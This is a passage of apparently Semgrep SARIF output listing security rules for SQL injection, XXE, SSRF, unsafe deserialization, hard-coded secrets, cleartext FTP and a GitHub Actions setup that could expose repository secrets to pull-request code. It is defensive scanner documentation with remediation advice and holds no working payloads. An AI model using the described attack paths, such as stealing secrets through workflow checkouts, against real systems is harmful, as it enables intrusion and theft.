(ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint","id":"go.net.sql.pg-sqli-taint.pg-sqli-taint","name":"go.net.sql.pg-sqli-taint.pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint.pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n","text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","id":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","name":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","id":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","name":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","id":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","name":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","id":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","name":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"help":{"markdown":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb)\n - [https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/](https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)\n","text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization","id":"ruby.lang.security.cookie-serialization.cookie-serialization","name":"ruby.lang.security.cookie-serialization.cookie-serialization","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.cookie-serialization.cookie-serialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","id":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","name":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n - [https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)\n","text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","id":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","name":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","id":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","name":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","id":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","name":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-dill-flask.tainted-dill-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","id":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","name":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","id":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","name":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","id":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","name":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 